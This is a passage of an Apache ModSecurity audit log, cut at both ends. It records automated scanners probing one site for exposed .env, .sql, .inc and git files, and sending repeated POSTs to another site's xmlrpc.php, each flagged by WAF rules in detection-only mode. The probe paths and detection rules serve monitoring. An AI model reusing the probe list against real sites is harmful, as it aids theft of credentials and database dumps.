"aE9x-vv_9qNKLXJRkuZdMQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036986004626 664392 (- - -) Stopwatch2: 1750036986004626 664392; combined=1856, p1=401, p2=1352, p3=0, p4=0, p5=102, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --971a9018-Z-- --69c3884e-A-- [16/Jun/2025:06:53:07.677807 +0530] aE9x-jZ3uHeEW3BYvDO5DAAAAAA 185.177.72.210 56314 127.0.0.1 7081 --69c3884e-B-- GET /backup/private/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --69c3884e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3966cb18e182ba227ee71967185bac041750036987; expires=Mon, 16 Jun 2025 02:23:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --69c3884e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/backup/private/.env"] [unique_id "aE9x-jZ3uHeEW3BYvDO5DAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036986992633 685258 (- - -) Stopwatch2: 1750036986992633 685258; combined=1740, p1=384, p2=1240, p3=0, p4=0, p5=116, sr=107, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --69c3884e-Z-- --d373aa1f-A-- [16/Jun/2025:06:53:19.295114 +0530] aE9yBg9THibLN0xLxET2pwAAAAk 185.177.72.210 53054 127.0.0.1 7081 --d373aa1f-B-- GET /:8080/.env_bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d373aa1f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=575ee28c01263a026994f72011dd4c9c1750036999; expires=Mon, 16 Jun 2025 02:23:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d373aa1f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/.env_bak"] [unique_id "aE9yBg9THibLN0xLxET2pwAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036998614076 681101 (- - -) Stopwatch2: 1750036998614076 681101; combined=1970, p1=428, p2=1439, p3=0, p4=0, p5=102, sr=109, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d373aa1f-Z-- --9b79a15a-A-- [16/Jun/2025:06:53:28.595810 +0530] aE9yD_bo0R64L12N_albRwAAAAQ 128.199.112.101 55744 127.0.0.1 7081 --9b79a15a-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --9b79a15a-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --9b79a15a-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9yD_bo0R64L12N_albRwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037007593984 1001882 (- - -) Stopwatch2: 1750037007593984 1001882; combined=2013, p1=314, p2=1310, p3=40, p4=64, p5=180, sr=82, sw=105, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9b79a15a-Z-- --00862d18-A-- [16/Jun/2025:06:53:34.882592 +0530] aE9yFroFnONBt7jRcByTowAAAA4 185.177.72.210 44996 127.0.0.1 7081 --00862d18-B-- GET /sql.inc HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --00862d18-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=476d7b10bac5555457255af6387477fd1750037014; expires=Mon, 16 Jun 2025 02:23:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --00862d18-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/sql.inc"] [unique_id "aE9yFroFnONBt7jRcByTowAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037014212351 670304 (- - -) Stopwatch2: 1750037014212351 670304; combined=1932, p1=323, p2=1505, p3=0, p4=0, p5=104, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --00862d18-Z-- --34f56b59-A-- [16/Jun/2025:06:54:28.415101 +0530] aE9yS7oFnONBt7jRcByTugAAAA4 128.199.112.101 34500 127.0.0.1 7081 --34f56b59-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --34f56b59-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --34f56b59-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9yS7oFnONBt7jRcByTugAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037067450389 964768 (- - -) Stopwatch2: 1750037067450389 964768; combined=2163, p1=438, p2=1360, p3=39, p4=57, p5=171, sr=129, sw=98, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --34f56b59-Z-- --f6d82c6e-A-- [16/Jun/2025:06:54:34.597572 +0530] aE9yUTZ3uHeEW3BYvDO5MAAAAAA 185.177.72.210 39278 127.0.0.1 7081 --f6d82c6e-B-- GET /.gitignore.swp HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f6d82c6e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c497e439a68b831ddf61be077c3d4d821750037074; expires=Mon, 16 Jun 2025 02:24:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f6d82c6e-H-- Message: Warning. Matched phrase "/.gitignore" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.gitignore" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.gitignore.swp"] [unique_id "aE9yUTZ3uHeEW3BYvDO5MAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037073944593 653044 (- - -) Stopwatch2: 1750037073944593 653044; combined=1935, p1=400, p2=1422, p3=0, p4=0, p5=112, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f6d82c6e-Z-- --724ed56e-A-- [16/Jun/2025:06:54:38.939829 +0530] aE9yVp16HYQp4eDf7R1cCAAAAAI 185.177.72.210 39492 127.0.0.1 7081 --724ed56e-B-- GET /nuxt/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --724ed56e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=80b2be559a22243bfeafe1263672350a1750037078; expires=Mon, 16 Jun 2025 02:24:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --724ed56e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/nuxt/.env"] [unique_id "aE9yVp16HYQp4eDf7R1cCAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037078226606 713287 (- - -) Stopwatch2: 1750037078226606 713287; combined=1680, p1=389, p2=1190, p3=0, p4=0, p5=100, sr=96, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --724ed56e-Z-- --c4994040-A-- [16/Jun/2025:06:55:28.068792 +0530] aE9yhzZ3uHeEW3BYvDO5SgAAAAA 128.199.112.101 36612 127.0.0.1 7081 --c4994040-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 498 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --c4994040-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --c4994040-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9yhzZ3uHeEW3BYvDO5SgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037127115111 953737 (- - -) Stopwatch2: 1750037127115111 953737; combined=2665, p1=440, p2=1862, p3=39, p4=57, p5=166, sr=114, sw=101, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c4994040-Z-- --37c43845-A-- [16/Jun/2025:06:55:45.512289 +0530] aE9ymIkQyF8-ounHsxsE6wAAAA8 185.177.72.210 53348 127.0.0.1 7081 --37c43845-B-- GET /:8888/stats/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --37c43845-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0c56450c0fb5986e7b50e752ccb133ef1750037145; expires=Mon, 16 Jun 2025 02:25:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --37c43845-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/stats/.env"] [unique_id "aE9ymIkQyF8-ounHsxsE6wAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037144752841 759534 (- - -) Stopwatch2: 1750037144752841 759534; combined=2237, p1=448, p2=1683, p3=0, p4=0, p5=105, sr=109, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --37c43845-Z-- --cf195a50-A-- [16/Jun/2025:06:55:48.935100 +0530] aE9ynPv_9qNKLXJRkuZdegAAAAs 185.177.72.210 53498 127.0.0.1 7081 --cf195a50-B-- GET /windows/tests/9.2.x/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cf195a50-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f2b6016c48645754376aeb5b29cada0e1750037148; expires=Mon, 16 Jun 2025 02:25:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cf195a50-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/windows/tests/9.2.x/.env"] [unique_id "aE9ynPv_9qNKLXJRkuZdegAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037148243869 691316 (- - -) Stopwatch2: 1750037148243869 691316; combined=1947, p1=376, p2=1467, p3=0, p4=0, p5=103, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cf195a50-Z-- --d531c274-A-- [16/Jun/2025:06:55:58.640623 +0530] aE9ypeMjvy_LHXlMeRARtQAAAAU 185.177.72.210 54076 127.0.0.1 7081 --d531c274-B-- GET /backup.inc HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d531c274-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b7cf9ca529ac6163cad6af3c44eb626e1750037158; expires=Mon, 16 Jun 2025 02:25:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d531c274-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/backup.inc"] [unique_id "aE9ypeMjvy_LHXlMeRARtQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037157949626 691075 (- - -) Stopwatch2: 1750037157949626 691075; combined=2416, p1=438, p2=1834, p3=0, p4=0, p5=143, sr=119, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d531c274-Z-- --877d6672-A-- [16/Jun/2025:06:56:02.911458 +0530] aE9yqokQyF8-ounHsxsE9AAAAA8 185.177.72.210 47638 127.0.0.1 7081 --877d6672-B-- GET /:8080/.env.debug HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --877d6672-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=82a132ec0d71d317bce93f94edcf13871750037162; expires=Mon, 16 Jun 2025 02:26:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --877d6672-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/.env.debug"] [unique_id "aE9yqokQyF8-ounHsxsE9AAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037162180000 731555 (- - -) Stopwatch2: 1750037162180000 731555; combined=2028, p1=446, p2=1463, p3=0, p4=0, p5=118, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --877d6672-Z-- --adeac250-A-- [16/Jun/2025:06:56:28.721818 +0530] aE9yw4kQyF8-ounHsxsE_wAAAA8 128.199.112.101 40380 127.0.0.1 7081 --adeac250-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --adeac250-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --adeac250-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9yw4kQyF8-ounHsxsE_wAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037187779564 942309 (- - -) Stopwatch2: 1750037187779564 942309; combined=1676, p1=299, p2=1007, p3=40, p4=62, p5=167, sr=88, sw=101, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --adeac250-Z-- --b4671f4c-A-- [16/Jun/2025:06:56:28.815968 +0530] aE9yxOhCUAahT1nBjTYNagAAAAM 185.177.72.210 40388 127.0.0.1 7081 --b4671f4c-B-- GET /2009.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b4671f4c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: 